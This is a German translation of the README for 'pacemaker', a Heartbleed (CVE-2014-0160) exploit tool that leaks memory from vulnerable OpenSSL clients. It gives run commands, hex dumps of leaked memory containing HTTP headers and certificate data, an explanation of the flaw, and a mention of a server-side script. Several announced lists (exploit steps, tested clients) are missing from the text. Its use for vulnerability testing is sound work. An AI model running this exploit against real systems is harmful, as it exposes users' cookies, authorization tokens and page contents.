lekensteyn/pacemakerHeartbleed (CVE-2014-0160) Client-Exploit
Versucht, OpenSSL-Clients auszunutzen, die anfällig für Heartbleed (CVE-2014-0160) sind. Kompatibel mit Python 2 und 3.
Führen Sie den Server aus:
python pacemaker.py
Öffnen Sie in Ihrem Client https://localhost:4433/ (ersetzen Sie bei Bedarf den Hostnamen). Zum Beispiel:
curl https://localhost:4433/
Der Client wird immer einen Verbindungsfehler erzeugen:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
Wenn Sie nicht verwundbar sind, gibt der Server etwa Folgendes aus:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
Wenn Sie doch verwundbar sind, sehen Sie etwa Folgendes:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
Nachfolgende Zeilen voller NUL-Bytes werden danach zu einer Zeile mit einem * zusammengefasst
(wie beim xxd-Werkzeug).
Ein Beispiel, bei dem mit
wget -O /dev/null https://google.com https://localhost:4433 mehr "interessanter" Speicher geleakt wird:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
TLS-Heartbeats können von beiden Seiten einer TLS-Verbindung gesendet werden. Nachdem der Handshake abgeschlossen ist, sind diese Heartbeats verschlüsselt. Aber offenbar erlaubt OpenSSL Heartbeat-Nachrichten, bevor der Handshake abgeschlossen ist. Diese Heartbeats (auf der Record-Layer-Ebene) sind überhaupt nicht verschlüsselt!
Dadurch ist es sehr einfach, den Fehler bei Clients auszunutzen:
Beachten Sie, dass keine Zertifikate erforderlich sind, da die Heartbeats akzeptiert werden, bevor irgendwelche Zertifikate oder Verschlüsselungsschlüssel ausgetauscht werden. Da die Länge der Heartbeat-Anfragen nicht überprüft wird, können bis zu 64 KiB Speicher aus dem Client-Speicher gelesen werden.
pacemaker führt die obigen Schritte aus und nimmt an, dass ein Client nicht verwundbar ist, wenn Schritt 3 andere Daten als Alerts ergibt. Falls für einige Protokolle erforderlich (z. B. SMTP mit STARTTLS), werden zusätzliche Daten ausgetauscht, bevor der TLS-Handshake beginnt.
Führen Sie ./pacemaker.py -h aus, um weitere Optionen zu sehen. Die wichtigsten Optionen sind
wahrscheinlich -t (--timeout) und -x (--count). Der Standard-Timeout beträgt 3
Sekunden, was für die meisten Clients ausreichen sollte, um zu antworten (sofern keine
Satellitenverbindung oder Ähnliches vorliegt).
Beispiel, um pro Heartbeat geduldiger zu sein (5 Sekunden) und vier Heartbeat- Antworten zu erhalten:
./pacemaker.py -t 5 -x 4
Theoretisch können die Heartbeats jetzt zwanzig Sekunden dauern, aber in der Praxis werden Sie viel schneller Antworten erhalten.
Die folgenden Clients wurden mit OpenSSL 1.0.1f auf Arch Linux getestet und gaben vor dem Handshake Speicher preis:
links ist ein großartiges Beispiel, das die Auswirkung dieses Fehlers auf Clients zeigt. Es ist ein textbasierter Browser, der Details wie Header (Cookies, Autorisierungs-Tokens) und Seiteninhalte preisgibt.
pacemaker ist unter der MIT-Lizenz lizenziert. Weitere Einzelheiten finden Sie in der LICENSE-Datei.
Dies ist eine Implementierung, die pacemaker zum Erstellen von Paketen verwendet. Sie hat die Einschränkung, dass wiederholte Anfragen für jeden Versuch eine neue Verbindung aufbauen müssen, da der Server die Verbindung sofort nach der ersten Heartbeat-Antwort zurücksetzt.
Diese Einschränkung ergibt sich aus dem gewählten Ansatz. Wenn der Handshake auch vom Client abgeschlossen würde, könnten viele verschlüsselte Handshakes gesendet werden, ohne dass Verbindungsfehler auftreten.
heartbleed.py ist Teil von pacemaker und unterliegt daher denselben Lizenzbedingungen.
Die folgenden Server wurden mit OpenSSL 1.0.1f auf Arch Linux getestet (sofern nicht anders angegeben):
openssl s_server (HTTPS)Dieses Repository enthält außerdem eine funktionierende Version, die auf Server abzielt. ssltest.py wurde von Jared Stafford ([email protected]) erstellt, alle Anerkennung gebührt ihm! Es wurde von http://s3.jspenguin.org/ssltest.py abgerufen.
Derzeit ist das Skript nur mit Python 2 kompatibel.